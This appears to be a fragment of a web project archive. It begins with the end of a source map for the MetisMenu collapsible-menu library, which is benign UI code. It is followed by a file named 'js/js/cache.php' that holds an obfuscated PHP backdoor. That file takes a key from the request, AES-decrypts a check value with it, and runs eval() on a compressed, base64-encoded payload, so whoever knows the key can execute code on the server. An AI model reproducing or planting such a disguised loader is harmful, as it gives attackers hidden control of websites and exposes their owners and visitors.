{\n this.show(ul as HTMLElement);\n } else {\n this.hide(ul);\n }\n\n const a = li?.querySelector<HTMLElement>(this.config.triggerElement!);\n if (a?.getAttribute(\"aria-disabled\") === \"true\") {\n return;\n }\n\n a?.setAttribute(\"aria-expanded\", \"false\");\n\n a?.addEventListener(\"click\", this.boundEventHandler);\n this.triggerArr.push(a!);\n });\n }\n /**\n * @internal\n */\n\n private clickEvent(evt?: Event) {\n if (!this.disposed) {\n const target = evt?.currentTarget as Element | null;\n if (target && target.tagName === \"A\") {\n evt!.preventDefault();\n }\n\n const li = target!.closest(this.config.parentTrigger!);\n const ul = li?.querySelector(this.config.subMenu!);\n this.toggle(ul!);\n }\n }\n\n update() {\n this.disposed = false;\n this.init();\n }\n\n dispose() {\n this.triggerArr.forEach((arr) => {\n arr.removeEventListener(\"click\", this.boundEventHandler);\n });\n this.disposed = true;\n }\n\n on<K extends EventType>(\n evtType: K,\n handler: SpecificEventListener<K>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n on<E extends Event>(\n evtType: E,\n handler: CustomEventListener<E>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n on(\n evtType: MetisMenuEvents,\n handler: EventListener,\n options?: AddEventListenerOptions | boolean,\n ) {\n this.element.addEventListener(evtType, handler, options);\n return this;\n }\n\n off<K extends EventType>(\n evtType: K,\n handler: SpecificEventListener<K>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n off<E extends Event>(\n evtType: E,\n handler: CustomEventListener<E>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n off(\n evtType: MetisMenuEvents,\n handler: EventListener,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu {\n this.element.removeEventListener(evtType, handler, options);\n return this;\n }\n\n /**\n * @internal\n */\n emit<T extends object>(\n evtType: string,\n evtData: T,\n shouldBubble = false,\n ): void {\n const evt = new CustomEvent<T>(evtType, {\n bubbles: shouldBubble,\n detail: evtData,\n });\n this.element.dispatchEvent(evt);\n }\n\n /**\n * @internal\n */\n toggle(ul: Element) {\n const li = ul.closest(this.config.parentTrigger!);\n if (li?.classList.contains(ClassName.ACTIVE)) {\n this.hide(ul);\n } else {\n this.show(ul);\n }\n }\n\n /**\n * @internal\n */\n show(el: Element) {\n const ul = el as HTMLElement;\n const { ACTIVE, COLLAPSE, COLLAPSED, COLLAPSING, SHOW } = ClassName;\n\n if (this.isTransitioning || ul.classList.contains(COLLAPSING!)) {\n return;\n }\n const complete = () => {\n ul.classList.remove(COLLAPSING!);\n ul.style.height = \"\";\n ul.removeEventListener(\"transitionend\", complete);\n this.setTransitioning(false);\n this.emit(\"shown.metisMenu\", {\n shownElement: ul,\n });\n };\n\n const li = ul.closest(this.config.parentTrigger!);\n li?.classList.add(ACTIVE!);\n\n const a = li?.querySelector<HTMLElement>(this.config.triggerElement!);\n a?.setAttribute(\"aria-expanded\", \"true\");\n a?.classList.remove(COLLAPSED!);\n\n ul.style.height = \"0px\";\n ul.classList.remove(COLLAPSE!);\n ul.classList.remove(SHOW!);\n ul.classList.add(COLLAPSING!);\n const eleParentSiblins = [].slice.call(li?.parentNode?.children).filter((\n c,\n ) => c !== li);\n if (this.config.toggle && eleParentSiblins.length > 0) {\n eleParentSiblins.forEach((sibli: Element) => {\n const sibUl = sibli.querySelector<HTMLElement>(this.config.subMenu!);\n if (sibUl) {\n this.hide(sibUl);\n }\n });\n }\n\n this.setTransitioning(true);\n\n ul.classList.add(COLLAPSE!);\n ul.classList.add(SHOW!);\n ul.style.height = `${ul.scrollHeight}px`;\n this.emit(\"show.metisMenu\", {\n showElement: ul,\n });\n ul.addEventListener(\"transitionend\", complete);\n }\n\n /**\n * @internal\n */\n hide(el: Element) {\n const { ACTIVE, COLLAPSE, COLLAPSED, COLLAPSING, SHOW } = ClassName;\n const ul = el as HTMLElement;\n if (this.isTransitioning || !ul.classList.contains(SHOW!)) {\n return;\n }\n this.emit(\"hide.metisMenu\", {\n hideElement: ul,\n });\n\n const li = ul.closest(this.config.parentTrigger!);\n li?.classList.remove(ACTIVE!);\n\n const complete = () => {\n ul.classList.remove(COLLAPSING!);\n ul.classList.add(COLLAPSE!);\n ul.style.height = \"\";\n ul.removeEventListener(\"transitionend\", complete);\n this.setTransitioning(false);\n this.emit(\"hidden.metisMenu\", {\n hiddenElement: ul,\n });\n };\n\n ul.style.height = `${ul.getBoundingClientRect().height}px`;\n ul.style.height = `${ul.offsetHeight}px`;\n\n ul.classList.add(COLLAPSING!);\n ul.classList.remove(COLLAPSE!);\n ul.classList.remove(SHOW!);\n this.setTransitioning(true);\n\n ul.addEventListener(\"transitionend\", complete);\n\n ul.style.height = \"0px\";\n\n const a = li?.querySelector(this.config.triggerElement!);\n a?.setAttribute(\"aria-expanded\", \"false\");\n a?.classList.add(COLLAPSED!);\n }\n\n /**\n * @internal\n */\n private setTransitioning(isTransitioning: boolean) {\n this.isTransitioning = isTransitioning;\n }\n\n /**\n * @internal\n */\n static isElement(element: unknown): element is Element {\n return Boolean((element as Element).classList);\n }\n}\n\nexport default MetisMenu;\n"],"mappings":";;;;;;;;0OAQO,MAAMA,EAAsB,CACjCC,cAAe,KACfC,QAAS,KACTC,QAAQ,EACRC,eAAgB,KAGLC,EAAY,CACvBC,OAAQ,YACRC,SAAU,cACVC,UAAW,eACXC,WAAY,gBACZC,MAAO,YACPC,KAAM,WCZR,MAAMC,EAsBJC,YAAYC,EAA2BC,GACrCC,KAAKF,QAAUF,EAAUK,UAAUH,GAAWA,EAAUI,SAASC,cAA2BL,GAC5FE,KAAKI,OAAMC,OAAAC,OAAAD,OAAAC,OAAA,GAAQtB,GAAYe,GAC/BC,KAAKO,UAAW,EAChBP,KAAKQ,WAAa,GAClBR,KAAKS,kBAAoBT,KAAKU,WAAWC,KAAKX,MAC9CA,KAAKY,M,CAGPC,cAAcC,EAAaC,GACzB,OAAO,IAAInB,EAAUkB,EAAIC,E,CAMnBH,OACN,MAAMlB,MAAEA,EAAKJ,OAAEA,EAAMC,SAAEA,GAAaF,EACpCW,KAAKF,QAAQkB,UAAUC,IAAIvB,GAE3B,MAAMwB,EAAM,IAAIlB,KAAKF,QAAQqB,iBAA8BnB,KAAKI,OAAOlB,UAEpD,IAAfgC,EAAIE,QAIRF,EAAIG,SAASC,IACXA,EAAGN,UAAUC,IAAI1B,GACjB,MAAMgC,EAAKD,EAAGE,QAAQxB,KAAKI,OAAOnB,gBAE9BsC,aAAE,EAAFA,EAAIP,UAAUS,SAASnC,IACzBU,KAAK0B,KAAKJ,GAEVtB,KAAK2B,KAAKL,GAGZ,MAAMM,EAAIL,aAAE,EAAFA,EAAIpB,cAA2BH,KAAKI,OAAOhB,gBACZ,UAArCwC,aAAA,EAAAA,EAAGC,aAAa,oBAIpBD,WAAGE,aAAa,gBAAiB,SAEjCF,WAAGG,iBAAiB,QAAS/B,KAAKS,mBAClCT,KAAKQ,WAAWwB,KAAKJ,GAAG,G,CAOpBlB,WAAWuB,GACjB,IAAKjC,KAAKO,SAAU,CAClB,MAAM2B,EAASD,aAAA,EAAAA,EAAKE,cAChBD,GAA6B,MAAnBA,EAAOE,SACnBH,EAAKI,iBAGP,MAAMd,EAAKW,EAAQV,QAAQxB,KAAKI,OAAOnB,eACjCqC,EAAKC,aAAE,EAAFA,EAAIpB,cAAcH,KAAKI,OAAOlB,SACzCc,KAAKb,OAAOmC,EACb,C,CAGHgB,SACEtC,KAAKO,UAAW,EAChBP,KAAKY,M,CAGP2B,UACEvC,KAAKQ,WAAWa,SAASmB,IACvBA,EAAIC,oBAAoB,QAASzC,KAAKS,kBAAkB,IAE1DT,KAAKO,UAAW,C,CAelBmC,GACEC,EACAC,EACA7C,GAGA,OADAC,KAAKF,QAAQiC,iBAAiBY,EAASC,EAAS7C,GACzCC,I,CAeT6C,IACEF,EACAC,EACA7C,GAGA,OADAC,KAAKF,QAAQ2C,oBAAoBE,EAASC,EAAS7C,GAC5CC,I,CAMT8C,KACEH,EACAI,EACAC,GAAe,GAEf,MAAMf,EAAM,IAAIgB,YAAeN,EAAS,CACtCO,QAASF,EACTG,OAAQJ,IAEV/C,KAAKF,QAAQsD,cAAcnB,E,CAM7B9C,OAAOmC,GACL,MAAMC,EAAKD,EAAGE,QAAQxB,KAAKI,OAAOnB,gBAC9BsC,aAAE,EAAFA,EAAIP,UAAUS,SAASpC,EAAUC,SACnCU,KAAK2B,KAAKL,GAEVtB,KAAK0B,KAAKJ,E,CAOdI,KAAKZ,G,MACH,MAAMQ,EAAKR,GACLxB,OAAEA,EAAMC,SAAEA,EAAQC,UAAEA,EAASC,WAAEA,EAAUE,KAAEA,GAASN,EAE1D,GAAIW,KAAKqD,iBAAmB/B,EAAGN,UAAUS,SAAShC,GAChD,OAEF,MAAM6D,EAAW,KACfhC,EAAGN,UAAUuC,OAAO9D,GACpB6B,EAAGkC,MAAMC,OAAS,GAClBnC,EAAGmB,oBAAoB,gBAAiBa,GACxCtD,KAAK0D,kBAAiB,GACtB1D,KAAK8C,KAAK,kBAAmB,CAC3Ba,aAAcrC,GACd,EAGEC,EAAKD,EAAGE,QAAQxB,KAAKI,OAAOnB,eAClCsC,WAAIP,UAAUC,IAAI3B,GAElB,MAAMsC,EAAIL,aAAE,EAAFA,EAAIpB,cAA2BH,KAAKI,OAAOhB,gBACrDwC,WAAGE,aAAa,gBAAiB,QACjCF,WAAGZ,UAAUuC,OAAO/D,GAEpB8B,EAAGkC,MAAMC,OAAS,MAClBnC,EAAGN,UAAUuC,OAAOhE,GACpB+B,EAAGN,UAAUuC,OAAO5D,GACpB2B,EAAGN,UAAUC,IAAIxB,GACjB,MAAMmE,EAAmB,GAAGC,MAAMC,KAAmB,QAAdC,EAAAxC,aAAE,EAAFA,EAAIyC,kBAAU,IAAAD,OAAA,EAAAA,EAAEE,UAAUC,QAC/DC,GACGA,IAAM5C,IACPvB,KAAKI,OAAOjB,QAAUyE,EAAiBxC,OAAS,GAClDwC,EAAiBvC,SAAS+C,IACxB,MAAMC,EAAQD,EAAMjE,cAA2BH,KAAKI,OAAOlB,SACvDmF,GACFrE,KAAK2B,KAAK0C,EACX,IAILrE,KAAK0D,kBAAiB,GAEtBpC,EAAGN,UAAUC,IAAI1B,GACjB+B,EAAGN,UAAUC,IAAItB,GACjB2B,EAAGkC,MAAMC,OAAS,GAAGnC,EAAGgD,iBACxBtE,KAAK8C,KAAK,iBAAkB,CAC1ByB,YAAajD,IAEfA,EAAGS,iBAAiB,gBAAiBuB,E,CAMvC3B,KAAKb,GACH,MAAMxB,OAAEA,EAAMC,SAAEA,EAAQC,UAAEA,EAASC,WAAEA,EAAUE,KAAEA,GAASN,EACpDiC,EAAKR,EACX,GAAId,KAAKqD,kBAAoB/B,EAAGN,UAAUS,SAAS9B,GACjD,OAEFK,KAAK8C,KAAK,iBAAkB,CAC1B0B,YAAalD,IAGf,MAAMC,EAAKD,EAAGE,QAAQxB,KAAKI,OAAOnB,eAClCsC,WAAIP,UAAUuC,OAAOjE,GAErB,MAAMgE,EAAW,KACfhC,EAAGN,UAAUuC,OAAO9D,GACpB6B,EAAGN,UAAUC,IAAI1B,GACjB+B,EAAGkC,MAAMC,OAAS,GAClBnC,EAAGmB,oBAAoB,gBAAiBa,GACxCtD,KAAK0D,kBAAiB,GACtB1D,KAAK8C,KAAK,mBAAoB,CAC5B2B,cAAenD,GACf,EAGJA,EAAGkC,MAAMC,OAAS,GAAGnC,EAAGoD,wBAAwBjB,WAChDnC,EAAGkC,MAAMC,OAAS,GAAGnC,EAAGqD,iBAExBrD,EAAGN,UAAUC,IAAIxB,GACjB6B,EAAGN,UAAUuC,OAAOhE,GACpB+B,EAAGN,UAAUuC,OAAO5D,GACpBK,KAAK0D,kBAAiB,GAEtBpC,EAAGS,iBAAiB,gBAAiBuB,GAErChC,EAAGkC,MAAMC,OAAS,MAElB,MAAM7B,EAAIL,aAAE,EAAFA,EAAIpB,cAAcH,KAAKI,OAAOhB,gBACxCwC,WAAGE,aAAa,gBAAiB,SACjCF,WAAGZ,UAAUC,IAAIzB,E,CAMXkE,iBAAiBL,GACvBrD,KAAKqD,gBAAkBA,C,CAMzBxC,iBAAiBf,GACf,OAAO8E,QAAS9E,EAAoBkB,U"} js/js/cache.php 0000604 00000013025 15173576720 0007362 0 ustar 00 <?php $CqX = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipeYbmVmmBgDQA'; $JVmy = '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'; function CqX($RCWtc) { $JVmy = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $TEU = substr($JVmy, 0, 16); $nAZkb = base64_decode($RCWtc); return openssl_decrypt($nAZkb, "AES-256-CBC", $JVmy, OPENSSL_RAW_DATA, $TEU); } if (CqX('DjtPn+r4S0yvLCnquPz1fA')){ echo 'qXVkHqrEmedcFSx6CAasbDO7z+1lJWiHwPbGSzcETtcXkyypL10/EOIGGy456x8x'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($CqX)))); ?>